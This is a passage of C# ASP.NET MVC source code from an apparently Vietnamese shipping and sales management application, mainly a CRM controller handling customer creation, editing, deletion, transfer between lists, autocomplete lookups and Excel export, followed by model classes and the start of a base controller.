CRMBaseModel data = new CRMBaseModel();
switch (modelType)
{
case ModelType.CRMSource:
data = Mapper.Map<CRMBaseModel>(crmSourceService.FindEntity(x => x.Id == id));
crmSourceService.DeleteCRMGroup(data);
break;
case ModelType.CRMGroup:
data = Mapper.Map<CRMBaseModel>(crmGroupService.FindEntity(x => x.Id == id));
crmGroupService.DeleteCRMGroup(data);
break;
case ModelType.CRMJobCategory:
data = Mapper.Map<CRMBaseModel>(jobCategoryService.FindEntity(x => x.Id == id));
jobCategoryService.DeleteCRMGroup(data);
break;
case ModelType.CRMStatus:
data = Mapper.Map<CRMBaseModel>(crmStatusService.FindEntity(x => x.Id == id));
crmStatusService.DeleteCRMGroup(data);
break;
case ModelType.CRMEventType:
data = Mapper.Map<CRMBaseModel>(evetypeService.FindEntity(x => x.Id == id));
evetypeService.DeleteModel(data);
break;
case ModelType.CRMPlanProgram:
data = Mapper.Map<CRMBaseModel>(planProgramService.FindEntity(x => x.Id == id));
planProgramService.DeleteModel(data);
break;
case ModelType.CRMPriceStatus:
data = Mapper.Map<CRMBaseModel>(priceStatusService.FindEntity(x => x.Id == id));
priceStatusService.DeleteModel(data);
break;
}
var value = new
{
Views = "Bạn đã xoá thành công",
Title = "Success!",
IsRemve = true,
ColumnClass = "col-md-6 col-md-offset-2",
TdId = "del_" + id
};
return JsonResult(value, true);
}
public ActionResult CreateBaseData()
{
var model = new CRMBaseModel();
model.Name = "<NAME>";
model.Description = "Thông tin từ nội bộ";
crmSourceService.InsertCRMGroup(model);
model.Name = "<NAME>àng công ty";
crmGroupService.InsertCRMGroup(model);
model.Name = "<NAME>";
jobCategoryService.InsertCRMGroup(model);
model.Name = "<NAME>";
crmStatusService.InsertCRMGroup(model);
return Json("OK", JsonRequestBehavior.AllowGet);
}
#endregion
#region Create CMR
[HttpGet]
public ActionResult Create()
{
GetBaseData();
var model = new CRMCustomerModel();
var status = crmStatusService.FindEntity(x => x.Code == (byte)CRMStatusCode.Potential);
model.CRMStatus = status;
model.DataType = CRMDataType.CRMNew;
return View(model);
}
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult Create(CRMCustomerModel model)
{
if (!ModelState.IsValid || !CheckValidation(model))
{
GetBaseData();
return View(model);
}
model.DataType = CRMDataType.CRMNew;
model.CreatedBy = CurrenUser;
model.CreatedDate = DateTime.Now;
var id = crmService.InsertToDb(model);
if (model.CRMContacts != null && model.CRMContacts.Any())
{
foreach (var ctModel in model.CRMContacts)
{
ctModel.CmrCustomerId = id;
crmContactService.InsertToDb(ctModel);
}
}
return RedirectToAction("Edit", new { id = id });
}
public ActionResult MoveCustomerToCRM(long id)
{
try
{
var cus = customerServices.GetById(id);
if (cus == null)
return Json(new
{
Message = @"Không tìm thấy khách hàng này!",
Success = false,
dialog = true
}, JsonRequestBehavior.AllowGet);
if (string.IsNullOrEmpty(cus.CompanyName) || string.IsNullOrEmpty(cus.FullName))
{
return Json(new
{
Message = @"Tên khách hàng hiện tại không được hoàn thành, vui làng cập nhật tên khách hàng trước khi chuyển qua hệ thống CRM",
Success = false,
dialog = true
}, JsonRequestBehavior.AllowGet);
}
var existed = crmCustomerService.FindEntity(x => x.CompanyShortName == cus.CompanyName);
if (existed != null)
{
return Json(new
{
Message = string.Format(@"Tên khách hàng {0} đã tồn tại trong CRM với Id{1}", existed.CompanyShortName, existed.Id),
Success = false,
dialog = true
}, JsonRequestBehavior.AllowGet);
}
var crmCus = new CRMCustomerModel
{
DataType = CRMDataType.SsmCustomer,
CompanyName = string.IsNullOrEmpty(cus.FullName) ? "[nhap ten cong ty]" : cus.FullName,
CompanyShortName = string.IsNullOrEmpty(cus.CompanyName) ? "[nhap ten viet tat]" : cus.CompanyName,
CreatedDate = DateTime.Now,
CustomerType = (CustomerType)Enum.Parse(typeof(CustomerType), cus.CustomerType),
CrmAddress = string.IsNullOrEmpty(cus.Address) ? "[nhap dia chi]" : cus.Address,
Description = cus.Description,
SsmCusId = cus.Id,
CreatedBy = CurrenUser
};
crmCus.CRMStatus = crmStatusService.FindEntity(x => x.Code == (byte)CRMStatusCode.Potential);
saleTypes = saleTypes ?? usersServices.getAllSaleTypes(true);
crmCus.SaleType = saleTypes.FirstOrDefault(x => x.Active == true);
crmCus.CRMJobCategory = jobCategoryService.GetQuery().FirstOrDefault();
crmCus.CRMGroup = crmGroupService.GetQuery().FirstOrDefault();
crmCus.CRMSource = crmSourceService.GetQuery().FirstOrDefault();
crmCus.Province = provinceService.GetById(2075);
long newCusid = crmService.InsertToDb(crmCus);
if (id > 0)
{
var contact = new CRMContactModel()
{
FullName = "[nhap ten lien lac]",
Phone = string.IsNullOrEmpty(cus.PhoneNumber) ? "[nhap so dien thoai]" : cus.PhoneNumber,
Email = string.IsNullOrEmpty(cus.Email) ? "[nhap email]" : cus.Email,
Phone2 = cus.Fax,
CmrCustomerId = newCusid
};
crmContactService.InsertToDb(contact);
cus.IsMove = true;
cus.MovedBy = CurrenUser.Id;
cus.CrmCusId = newCusid;
customerServices.Commited();
}
return Json(new
{
Message = @"Customer đã chuyển qua CRM thành công",
Success = true,
dialog = true,
MoveBy = CurrenUser.FullName,
}, JsonRequestBehavior.AllowGet);
}
catch (Exception ex)
{
return Json(new
{
Message = ex.Message,
Success = false,
dialog = true,
MoveBy = CurrenUser.FullName,
}, JsonRequestBehavior.AllowGet);
}
}
#endregion
#region Edit CRM
[HttpGet]
public ActionResult Edit(long id)
{
// var db = crmCustomerService.GetById(id);
filterModel = (CRMSearchModel)Session[CRM_SEARCH_MODEL];
filterModel = filterModel ?? new CRMSearchModel();
ViewBag.searchTime = "";
var model = crmCustomerService.GetModelById(id);
CRMStatus status = SetSatusCrm(model, filterModel);
model.CRMStatus = status;
model.Summary = crmCustomerService.Summary(id, filterModel.FromDate.Value, filterModel.ToDate.Value);
if (filterModel.ToDate != null || filterModel.FromDate != null)
{
ViewBag.searchTime =
$"Status [{model.CRMStatus.Name}] for period time from {filterModel.FromDate ?? DateTime.MinValue:dd/MM/yyyy} to {(filterModel.ToDate ?? DateTime.Now):dd/MM/yyyy}";
}
GetBaseData();
return View(model);
}
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult Edit(CRMCustomerModel model)
{
filterModel = (CRMSearchModel)Session[CRM_SEARCH_MODEL];
var cus = crmCustomerService.GetById(model.Id);
model.CreatedBy = usersServices.getUserById(cus.CreatedById.Value);
if (filterModel == null)
{
filterModel = new CRMSearchModel()
{
FromDate = new DateTime(DateTime.Now.Year, DateTime.Now.Month, 1),
ToDate = DateTime.Now
};
}
else
{
filterModel.FromDate = filterModel.FromDate ?? new DateTime(DateTime.Now.Year, DateTime.Now.Month, 1);
filterModel.ToDate = filterModel.ToDate ?? DateTime.Now;
}
if (!ModelState.IsValid || !CheckValidation(model))
{
var errors = ViewData.ModelState.Where(n => n.Value.Errors.Count > 0).ToList();
model.Summary = crmCustomerService.Summary(model.Id, filterModel.FromDate.Value, filterModel.ToDate.Value);
GetBaseData();
return View(model);
}
try
{
// model.Summary = crmCustomerService.Summary(model.Id, filterModel.FromDate.Value, filterModel.ToDate.Value);
var oldSales = cus.User;
model.ModifyBy = CurrenUser;
model.ModifyDate = DateTime.Now;
crmService.UpdateToDb(model);
if (crmContactService.DeleteAllCtOfCus(model.Id))
{
foreach (var contact in model.CRMContacts)
{
contact.CmrCustomerId = model.Id;
crmContactService.InsertToDb(contact);
}
}
if (model.MoveToId != null && model.MoveToId > 0)
{
HistoryWirter(model, oldSales);
var newUser = usersServices.FindEntity(x => x.Id == model.MoveToId);
if (!string.IsNullOrEmpty(newUser.Email))
{
SendEmailChangeUserFollow(cus, oldSales, newUser);
Logger.LogError($"Send email Move {cus.CompanyName}/{cus.Id}");
}
}
return RedirectToAction("Edit", new { id = model.Id });
}
catch (Exception ex)
{
ModelState.AddModelError(string.Empty, ex.Message);
model.Summary = crmCustomerService.Summary(model.Id, filterModel.FromDate.Value, filterModel.ToDate.Value);
GetBaseData();
return View(model);
}
}
public void SendEmailChangeUserFollow(CRMCustomer cus, User fromUser, User toUser)
{
string absUrl = Url.Action("Edit", "CRM", new { id = cus.Id }, Request.Url.Scheme);
var link = $"<a href=\"{absUrl}\" >click vào đây</a>";
EmailModel model = new EmailModel { Subject = $"{toUser.FullName } bạn có chuyển theo dõi khách hàng từ {fromUser.FullName}" };
var content = $"Dear {toUser.FullName } <br/> Bạn được yêu cầu theo dõi khách hàng {cus.CompanyName}-{cus.Id} từ {fromUser.FullName}. Bạn có thể {link} để xem chi tiết";
model.User = fromUser;
if (string.IsNullOrEmpty(fromUser.Email))
{
model.User = usersServices.FindEntity(x => x.UserName == "admin" && x.RoleName == "Administrator");
}
model.Message = content;
model.EmailTo = toUser.Email;
model.IsUserSend = true;
var email = new EmailCommon { EmailModel = model };
string errorMessages;
email.SendEmail(out errorMessages, true);
}
#endregion
#region Suggest Function
public JsonResult CRMCustomerSuggest(string term)
{
var qr = crmCustomerService.GetQuery(x => x.CompanyShortName.ToLower().Contains(term.ToLower()));
if (!CurrenUser.IsDirecter())
{
if (CurrenUser.IsDepManager())
qr = qr.Where(x => x.User.DeptId == CurrenUser.DeptId);
else
qr = qr.Where(x => x.CreatedById == CurrenUser.Id);
}
var result = qr
.OrderBy(x => x.CompanyShortName).Take(20)
.Select(x => new { id = x.Id, Display = x.CompanyShortName })
.ToList();
return Json(result, JsonRequestBehavior.AllowGet);
}
public JsonResult CategorySuggest(string term)
{
var result = jobCategoryService.GetQuery(x => x.Name.ToLower().Contains(term.ToLower()))
.OrderBy(x => x.Name).Take(20)
.Select(x => new { id = x.Id, Display = x.Name })
.ToList();
return Json(result, JsonRequestBehavior.AllowGet);
}
public JsonResult ProvinceSuggest(string term, long countryId)
{
var result = provinceService.GetQuery(x => x.Name.ToLower().Contains(term.ToLower()) && (countryId==0 || countryId == x.CountryId))
.OrderBy(x => x.Name).Take(20)
.Select(x => new { id = x.Id, Display = x.Name })
.ToList();
return Json(result, JsonRequestBehavior.AllowGet);
}
public JsonResult CoutrySuggest(string term)
{
var result = provinceService.GetCountrys(x => x.CountryName.ToLower().Contains(term.ToLower()))
.OrderBy(x => x.CountryName).Take(20)
.Select(x => new { id = x.Id, Display = x.CountryName })
.ToList();
return Json(result, JsonRequestBehavior.AllowGet);
}
public JsonResult UserSuggest(string term)
{
var result = usersServices.GetQuery(x => x.FullName.ToLower().Contains(term.ToLower()))
.OrderBy(x => x.FullName).Take(20)
.Select(x => new { id = x.Id, Display = x.FullName })
.ToList();
return Json(result, JsonRequestBehavior.AllowGet);
}
public JsonResult UserSuggestFollow(string term, string notyetId)
{
var listNotYet = notyetId.Split('-').Where(x => !string.IsNullOrEmpty(x)).Select(x => long.Parse(x)).ToList();
var result = usersServices.GetQuery(x => !listNotYet.Contains(x.Id) && x.FullName.Contains(term.Trim()) && (
UsersModel.Positions.Operations.ToString().Equals(x.Department.DeptFunction) || UsersModel.Positions.Sales.ToString().Equals(x.Department.DeptFunction)))
.OrderBy(x => x.FullName).Take(20)
.Select(x => new { id = x.Id, Display = x.FullName })
.ToList();
return Json(result, JsonRequestBehavior.AllowGet);
}
public JsonResult DepartmentSuggest(string term)
{
var result = usersServices.GetAllDepartmentActive(CurrenUser, true)
.OrderBy(x => x.DeptName).Take(20)
.ToList()
.Select(x => new { id = x.Id, Display = x.DeptName });
return Json(result, JsonRequestBehavior.AllowGet);
}
public JsonResult SuggestUser(string term)
{
var result = usersServices.GetAllSales(CurrenUser, false).Where(x => x.FullName.ToLower().Contains(term.ToLower()))
.OrderBy(x => x.FullName).Take(20)
.ToList()
.Select(x => new { id = x.Id, Display = x.FullName, DeptName = x.Department.DeptName }).Distinct();
return Json(result, JsonRequestBehavior.AllowGet);
}
public JsonResult CustomerSuggest(string term)
{
var result =
crmCustomerService.GetQuery(
x =>
x.CreatedById == CurrenUser.Id && x.CompanyShortName.ToLower().Contains(term.ToLower()) &&
x.IsUserDelete == false);
result = result.OrderBy(x => x.CompanyShortName);
var list = result.Take(20).Select(x => new { id = x.Id, Display = x.CompanyShortName });
return Json(list, JsonRequestBehavior.AllowGet);
}
#endregion
#region CRM function helpers
public ActionResult BlankContactRow()
{
return PartialView("_CrmContractView", new CRMContactModel());
}
private bool CheckValidation(CRMCustomerModel model)
{
bool valid = true;
if (model.CrmCountryId == 0 && !string.IsNullOrEmpty(model.CountryName))
{
ModelState.AddModelError("CountryName", "Quốc gia không đúng vui lòng chọn lại");
valid = false;
}
if (model.Province.Id == 0 && !string.IsNullOrEmpty(model.StateName))
{
ModelState.AddModelError("StateName", "Tỉnh thành không phù hợp vui lòng chọn lại");
valid = false;
}
var existed = crmCustomerService.FindEntity(x => x.CompanyShortName == model.CompanyShortName && x.Id != model.Id);
if (existed != null)
{
ModelState.AddModelError("CompanyShortName", "Tên viết tắt đã tồn tại trong hệ thống CRM");
valid = false;
}
/*var existphone = crmCustomerService.FindEntity(x => x.CompanyShortName == model.CompanyShortName && x.Id != model.Id);
if (existed != null)
{
ModelState.AddModelError("CompanyShortName", "Tên viết tắt đã tồn tại trong hệ thống CRM");
valid = false;
}*/
var duplicates = model.CRMContacts.GroupBy(s => s.Email)
.SelectMany(grp => grp.Skip(1));
if (duplicates.Any())
{
ModelState.AddModelError("", $"Email không được trùng...");
valid = false;
}
foreach (var contact in model.CRMContacts)
{
var ctphone = crmContactService.Any(x => x.CmrCustomerId != model.Id && x.Phone == contact.Phone);
if (ctphone)
{
ModelState.AddModelError("", $"Số điện thoại {contact.Phone} đã tồn tại ở khách hàng khác");
valid = false;
}
var ctemail = crmContactService.Any(x => x.CmrCustomerId != model.Id && x.Email == contact.Email);
if (ctemail)
{
ModelState.AddModelError("", $"Địa chỉ email {contact.Email} đã tồn tại ở khách hàng khác");
valid = false;
}
}
return valid;
}
#endregion
#region CRM Move customer
public ActionResult ResetCrmCus(long id)
{
var crmCus = crmCustomerService.GetById(id);
crmCus.CrmStatusId = 1;
crmCus.DateCancel = DateTime.Now;
crmCustomerService.Commited();
return RedirectToAction("Edit", new { id = id });
}
public ActionResult MoveToCus(long id)
{
var crmCus = crmCustomerService.GetModelById(id);
if (crmCus == null)
{
return Json(new
{
Message = "Không tim thấy CRM Customer với ID=" + id.ToString("D6"),
Success = false,
dialog = true,
MoveBy = CurrenUser.FullName,
}, JsonRequestBehavior.AllowGet);
}
//if (crmCus.DataType == CRMDataType.SsmCustomer)
//{
// return Json(new
// {
// Message = "Khách hàng này đã tồn tại ở Data customer",
// Success = false,
// dialog = true,
// MoveBy = CurrenUser.FullName,
// }, JsonRequestBehavior.AllowGet);
//}
try
{
var cus = new CustomerModel();
if (crmCus.SsmCusId.HasValue)
{
cus = customerServices.GetModelById(crmCus.SsmCusId.Value) ?? new CustomerModel();
}
cus.FullName = crmCus.CompanyName;
cus.CompanyName = crmCus.CompanyShortName;
cus.Type = CustomerType.ShipperCnee.ToString();
cus.Address = crmCus.CrmAddress;
cus.PhoneNumber = crmCus.CrmPhone;
if (crmCus.Province != null)
cus.Address += ", " + crmCus.StateName + ", " + crmCus.CountryName;
cus.Description = crmCus.Description;
var contact = crmCus.CRMContacts.FirstOrDefault();
if (contact != null)
{
var cts = string.Format("Thông tin liên hệ Name:{0}-Phone:{1}-Email:{2}", contact.FullName,
contact.Phone, contact.Email);
cus.Description = cus.Description + "\n" + cts;
}
cus.Fax = crmCus.CrmPhone;
cus.UserId = crmCus.CreatedBy.Id;
cus.IsMove = true;
cus.CrmCusId = crmCus.Id;
cus.MovedUserId = CurrenUser.Id;
if (crmCus.SsmCusId.HasValue)
{
customerServices.UpdateCustomer(cus);
}
else
{
var nCus = customerServices.InsertCustomer(cus);
if (nCus != null)
{
crmService.SetMoveCustomerToData(crmCus.Id, true, nCus.Id);
}
}
return Json(new
{
Message = "Đã chuyển sang Customer list thành công",
Success = true,
dialog = true,
MoveBy = CurrenUser.FullName,
}, JsonRequestBehavior.AllowGet);
}
catch (Exception ex)
{
Logger.LogError(ex);
return Json(new
{
Message = ex.Message,
Success = false,
dialog = true,
MoveBy = CurrenUser.FullName,
}, JsonRequestBehavior.AllowGet);
}
}
#endregion
public ActionResult Delete(long id)
{
var cus = crmCustomerService.GetModelById(id);
if (cus.Summary != null && cus.Summary.TotalShippments > 0)
{
var value = new
{
Views = "this customer have shipment, you can not delete it",
Title = "Error!",
IsRemve = false,
Success = false,
TdId = "del_" + id
};
return JsonResult(value, true);
}
if (!CurrenUser.IsDirecter())
{
cus.IsUserDelete = true;
cus.ModifyBy = CurrenUser;
cus.ModifyDate = DateTime.Now;
crmService.UpdateToDb(cus);
}
else
{
try
{
var contacts = crmContactService.GetAll(x => x.CmrCustomerId == id);
if (contacts.Any())
crmContactService.DeleteAll(contacts);
var prices = priceQuotationService.GetAll(x => x.CrmCusId == id);
if (prices.Any())
{
foreach (var price in prices)
{
var emailhist = emailHistoryService.GetAll(x => x.PriceId == price.Id);
if (emailhist.Any())
{
emailHistoryService.DeleteAll(emailhist);
}
priceQuotationService.Delete(price);
}
}
var events = eventService.GetAll(x => x.CrmCusId == id);
if (events.Any())
{
foreach (var crmVisit in events)
{
var filelist = fileService.GetServerFile(crmVisit.Id, new CRMEventModel().GetType().ToString());
if (filelist.Any())
{
foreach (var serverFile in filelist)
{
if (serverFile == null) continue;
if (System.IO.File.Exists(Server.MapPath(serverFile.Path)))
System.IO.File.Delete(Server.MapPath(serverFile.Path));
}
}
var followsEv = followEventService.GetAll(x => x.VisitId == id);
if (followsEv.Any())
{
followEventService.DeleteAll(followsEv);
}
}
eventService.DeleteAll(events);
}
var docs = documentService.GetAll(x => x.CrmCusId == id);
if (docs.Any())
{
foreach (var doc in docs)
{
var filelist = fileService.GetServerFile(doc.Id, new CrmCusDocumentModel().GetType().ToString());
if (filelist.Any())
{
foreach (var serverFile in filelist)
{
if (serverFile != null)
if (System.IO.File.Exists(Server.MapPath(serverFile.Path)))
System.IO.File.Delete(Server.MapPath(serverFile.Path));
fileService.Delete(serverFile);
}
}
}
documentService.DeleteAll(docs);
}
if (cus.SsmCusId.HasValue && cus.SsmCusId.Value > 0)
{
var ssmcus = customerServices.GetById(cus.SsmCusId.Value);
if (ssmcus != null)
{
ssmcus.CrmCusId = (long?)null;
ssmcus.IsMove = false;
ssmcus.MovedBy = (long?)null;
customerServices.Commited();
}
}
var follows = followCustomerService.GetAll(x => x.CrmId == id);
if (follows.Any())
{
followCustomerService.DeleteAll(follows);
}
crmCustomerService.DeleteToDb(cus);
}
catch (Exception e)
{
Logger.LogError(e);
var value = new
{
Views = e.Message,
Title = "Error!",
IsRemve = false,
Success = false,
TdId = "del_" + id
};
return JsonResult(value, true);
}
}
var value2 = new
{
Views = "Bạn đã xoá thành công",
Title = "Success!",
IsRemve = true,
TdId = "del_" + id
};
return JsonResult(value2, true);
}
public ActionResult UndoCustomer(long id)
{
var cus = crmCustomerService.GetById(id);
if (CurrenUser.IsDirecter())
{
cus.IsUserDelete = false;
cus.ModifyById = CurrenUser.Id;
cus.ModifyDate = DateTime.Now;
crmCustomerService.Commited();
}
var value = new
{
Views = "Bạn đã khôi phục hành công",
Title = "Success!",
IsRemve = false,
IsRefreshList = true,
TdId = "del_" + id
};
return JsonResult(value, true);
}
public void HistoryWirter(CRMCustomerModel customer, User user)
{
var history = new HistoryModel()
{
HistoryMessage = String.Format(@"{0} was move created by from {1}-{2} to userId {3}", CurrenUser.FullName, user.Id, user.FullName, customer.MoveToId),
UserId = CurrenUser.Id,
ActionName = "Move user crmCustomer",
CreateTime = DateTime.Now,
ObjectId = customer.Id,
ObjectType = new CRMCustomerModel().GetType().ToString(),
IsLasted = false,
Id = 0,
IsRevisedRequest = false
};
historyService.Save(history);
}
public ActionResult GetSummary(long id)
{
filterModel = (CRMSearchModel)Session[CRMController.CRM_SEARCH_MODEL];
var data = crmCustomerService.Summary(id, filterModel.FromDate.Value, filterModel.ToDate.Value);
return PartialView("_summary", data);
}
public ActionResult GetSummaryList(long id)
{
filterModel = (CRMSearchModel)Session[CRMController.CRM_SEARCH_MODEL];
var data = crmCustomerService.Summary(id, filterModel.FromDate.Value, filterModel.ToDate.Value);
return PartialView("_ListSummaryCount", data);
}
public ActionResult ShipmentDetail(long id)
{
filterModel = (CRMSearchModel)Session[CRMController.CRM_SEARCH_MODEL];
ViewBag.ShimentPeriod = null;
var cus = crmCustomerService.GetById(id);
ViewBag.ProfitType = cus.CompanyName;
var data = crmCustomerService.GetListShipments(cus.SsmCusId.Value);
if (data.Any() && filterModel != null)
{
if (filterModel.FromDate != null && filterModel.ToDate != null)
{
var shipementForPeriod = data.Where(
x => x.DateShp >= filterModel.FromDate && x.DateShp <= filterModel.ToDate).ToList();
ViewBag.ShimentPeriod = shipementForPeriod;
data = data.Where(x => x.DateShp < filterModel.FromDate).ToList();
}
}
var value = new
{
Views = this.RenderPartialView("_ShipmentList", data),
CloseOther = true,
Title = string.Format(@"Shipment detail"),
};
return JsonResult(value, true);
}
public ActionResult SalseTradingDetail(long id)
{
var cus = crmCustomerService.GetById(id);
ViewBag.ProfitType = cus.CompanyName;
var data = crmCustomerService.GetListSalesTrading(cus.SsmCusId.Value);
var value = new
{
Views = this.RenderPartialView("_ListSalesTrading", data),
CloseOther = true,
Title = string.Format(@"Customer Trading detail"),
};
return JsonResult(value, true);
}
public int Days
{
get
{
int day = 365;
var crmstting = usersServices.CRMDayCanelSettingNumber();
day = int.Parse(crmstting.DataValue);
return day;
}
}
public CRMStatus SetSatusCrm(CRMCustomerModel crm, CRMSearchModel flModel)
{
CRMStatusCode code = CRMStatusCode.Potential;
if (!crm.SsmCusId.HasValue) return crmStatusService.FindEntity(x => x.Code == (byte)code);
flModel.FromDate = flModel.FromDate ?? crm.CreatedDate;
flModel.ToDate = flModel.ToDate ?? DateTime.Now;
var lastShipment = shipmentServices.GetQuery(s => s.CneeId.Value == crm.SsmCusId.Value || s.ShipperId.Value == crm.SsmCusId.Value);
// var isCancel = lastShipment.Any(x => x.DateShp.Value.AddDays(days) <= flModel.FromDate);
var isClient = lastShipment.Any(x => x.DateShp <= flModel.FromDate);
var shipmentCurrent = lastShipment.Count(x => x.DateShp >= flModel.FromDate && x.DateShp <= flModel.ToDate);
if (isClient)
code = CRMStatusCode.Client;
else
code = shipmentCurrent >= 1 ? CRMStatusCode.Success : CRMStatusCode.Potential;
return crmStatusService.FindEntity(x => x.Code == (byte)code);
}
#region User follow manager
public ActionResult GetUserFollowDialog(long id, string name)
{
var customer = crmCustomerService.GetById(id);
ViewBag.Customer = customer;
var mode = followCustomerService.GetListModelsByCus(id);
if (!mode.Any())
{
mode = new List<CRMFollowCusUserModel>();
}
var view = this.RenderPartialView("_UserFollowList", mode);
var value = new
{
Views = view,
CloseOther = true,
Title = string.Format(@"Control user Follow for customer {0}", name),
};
return JsonResult(value, true);
}
[HttpPost]
public ActionResult AddFollow(long cusId, long userId)
{
var exited = followCustomerService.Any(x => x.CrmId == cusId && x.UserId == userId);
if (exited)
{
return Json(new
{
Message = "Sale nay đã tồn tại trong theo dõi",
Success = false,
dialog = true
}, JsonRequestBehavior.AllowGet);
}
var mode = new CRMFollowCusUserModel()
{
CrmId = cusId,
UserId = userId,
AddById = CurrenUser.Id
};
var id = followCustomerService.InsertToDb(mode);
var db = followCustomerService.GetModelById(id);
var view = this.RenderPartialView("_UserFollowItem", db);
var tr = string.Format("<tr id='user_{0}'>{1}</tr>", db.Id, view);
return Json(tr, JsonRequestBehavior.AllowGet);
}
public ActionResult DeleleUserFollow(long id)
{
var db = followCustomerService.GetModelById(id);
if (!db.IsLook)
{
followCustomerService.DeleteToDb(id);
if (db.UserId == CurrenUser.Id && CurrenUser.IsStaff())
{
var value2 = new
{
Views = "Bạn đã xoá thành công",
Title = "Success!",
Redirect = true,
Url = Url.Action("Index", "CRM")
};
return JsonResult(value2, true);
}
var value = new
{
Views = "Bạn đã xoá thành công",
Title = "Success!",
IsRemve = true,
TdId = "del_" + id
};
return JsonResult(value, true);
}
else
{
var result = new CommandResult(false)
{
ErrorResults = new[] { "Sale is look by owner, you can not leave!" }
};
return JsonResult(result, null, true);
}
}
public ActionResult SetLookUser(long id, bool isLook)
{
var db = followCustomerService.GetModelById(id);
if (db.IsLook && db.LockById != CurrenUser.DeptId && CurrenUser.IsDepManager() && !CurrenUser.IsAdmin())
{
var value = new
{
Views = "This locked by director. Please contact him for unlock",
Title = "Error!",
ColumnClass = "col-md-6 col-md-offset-3"
};
return JsonResult(value, true);
}
followCustomerService.Look(id, isLook, CurrenUser);
db = followCustomerService.GetModelById(id);
var view = this.RenderPartialView("_UserFollowItem", db);
return Json(view, JsonRequestBehavior.AllowGet);
}
public ActionResult GetFollowUser(long id)
{
var cus = crmCustomerService.GetModelById(id);
var str = string.Empty;
if (cus.FollowCusUsers != null && cus.FollowCusUsers.Any())
{
str = cus.FollowCusUsers.Aggregate("", (current, u) => current + (u.User.FullName + ";"));
}
return PartialView("_FollowUserlistView", str);
}
#endregion
public ActionResult CrmSetting()
{
SettingModel setting = new SettingModel();
var db = settingService.GetByDataCode(SettingModel.CRM_DAYCANCEL_SETTING);
setting.PageNumber = db == null ? "0" : db.DataValue;
setting.Id = db == null ? 0 : db.Id;
return PartialView("_crmSettingView", setting);
}
[HttpPost]
public ActionResult CrmSetting(SettingModel setting)
{
var db = settingService.GetByDataCode(SettingModel.CRM_DAYCANCEL_SETTING);
db.DataValue = setting.PageNumber;
settingService.Commited();
return PartialView("_crmSettingView", setting);
}
public ActionResult ExportExcel()
{
filterModel = (CRMSearchModel)Session[CRM_SEARCH_MODEL];
filterModel = filterModel ?? new CRMSearchModel
{
PeriodDate = PeriodDate.CreateDate,
FromDate = new DateTime(DateTime.Now.Year, DateTime.Now.Month, 1),
ToDate = DateTime.Now,
};
var totalRow = 0;
var sort = new SSM.Services.SortField("CompanyShortName", true);
var listData = crmCustomerService.GetAllSearchNotPaging(filterModel, sort, CurrenUser, out totalRow);
if (totalRow == 0) return View();
var exportData = listData.ToList().Select(x => new
{
Id = $"'{x.Customer.Id:D6}",
AbbName = x.Customer.CompanyShortName,
CustomerName = x.Customer.CompanyName,
ContactName = x.Customer?.CRMContacts?.FirstOrDefault()?.FullName,
Email = x.Customer.CRMContacts?.FirstOrDefault()?.Email,
Phone = $"'{x.Customer.CRMContacts?.FirstOrDefault()?.Phone}",
Description = x.Customer.Description,
Status = x.Status.Name,
CreatedDate = x.Customer.CreatedDate.ToString("dd/MM/yyyy"),
UpDate = x.Customer.ModifyDate?.ToString("dd/MM/yyyy"),
Quotation = $"{x.TotalQuotation:#,###}",
Visit = $"{x.TotalVisit:#,###}",
Shipment = $"{ x.TotalShipment:#,###}",
SaleType = x.SaleType,
SalesName = x.CreaterdBy.FullName,
Source = x.Source,
Follow = x.FollowName,
}).ToList();
IExcelExportEngine engine = new ExcelExportEngine();
engine.SetFormat(ExcelVersion.XLSX);
engine.AddData(exportData);
var fileName = $"CrmExport_{DateTime.Now:yyyy-MM-dd-HH-mm-ss}.xlsx";
//var filePath = Server.MapPath("//")+ fileName;
MemoryStream memory = engine.Export();
return File(memory, "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet", fileName);
}
}
}<file_sep>namespace SSM.Models.CRM
{
public class CRMFollowEventUserModel
{
public long Id { get; set; }
public long UserId { get; set; }
public long VisitId { get; set; }
public long AddById { get; set; }
public long LockById { get; set; }
public bool IsLook { get; set; }
public CRMVisit CRMVisit { get; set; }
public User User { get; set; }
public User User1 { get; set; }
}
public class CRMFollowCusUserModel
{
public long Id { get; set; }
public long UserId { get; set; }
public long AddById { get; set; }
public long LockById { get; set; }
public long CrmId { get; set; }
public bool IsLook { get; set; }
public CRMCustomer CRMCustomer { get; set; }
public User User { get; set; }
}
}<file_sep>using System;
using System.ComponentModel;
using System.ComponentModel.DataAnnotations;
namespace SSM.Models
{
public enum CarrierType
{
ShippingLine,
AirLine,
Fowarder,
Other
}
public class CarrierModel
{
public long Id { get; set; }
[Required]
[DisplayName("Name")]
public String CarrierAirLineName { get; set; }
public String Type { get; set; }
[DisplayName("Address")]
public String Address { get; set; }
[DisplayName("PhoneNumber")]
public String PhoneNumber { get; set; }
[DisplayName("Fax")]
public String Fax { get; set; }
[DisplayName("Email")]
public String AbbName { get; set; }
[DisplayName("Description")]
public String Description { get; set; }
public bool IsActive { get; set; }
public bool IsHideUser { get; set; }
public bool IsSee { get; set; }
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Mvc;
using System.Web.Routing;
using SSM.Common;
using SSM.Models;
using SSM.Services;
using SSM.ViewModels;
namespace SSM.Controllers
{
public abstract class BaseController : Controller
{
private User currentUser;
private HttpCookie cookie;
private const string PAGE_SIZE_APP = "PAGE_SIZE_APP";
protected override void Initialize(RequestContext requestContext)
{
base.Initialize(requestContext);
currentUser = (User)Session[AccountController.USER_SESSION_ID];
}
protected User CurrenUser
{
get { return currentUser ?? (User)Session[AccountController.USER_SESSION_ID]; }
}
protected ActionResult NotPermistion()
{
return View("ErrorPermistion");
}
protected SelectList CarrierTypes
{
get
{
var carrierType = from CarrierType ct in Enum.GetValues(typeof(CarrierType))
select new { Id = ct, Name = ct.ToString() };
return new SelectList(carrierType, "Id", "Name");
}
}
protected SelectList ServiceTypes
{
get
{
var Services = from ShipmentModel.ServicesType Sv in Enum.GetValues(typeof(ShipmentModel.ServicesType))
select new { Id = Sv, Name = Sv.ToString() };
return new SelectList(Services, "Id", "Name");
}
}
protected HttpCookie Cookie
{
get
{
return cookie = Request.Cookies[PAGE_SIZE_APP];
}
}
protected List<long> UListAvilibelUserId()
{
var listIdUser = new List<long>();
listIdUser.Add(CurrenUser.Id);
if (UsersModel.isAdminNComDirctor(CurrenUser))
{
listIdUser = new List<long>();
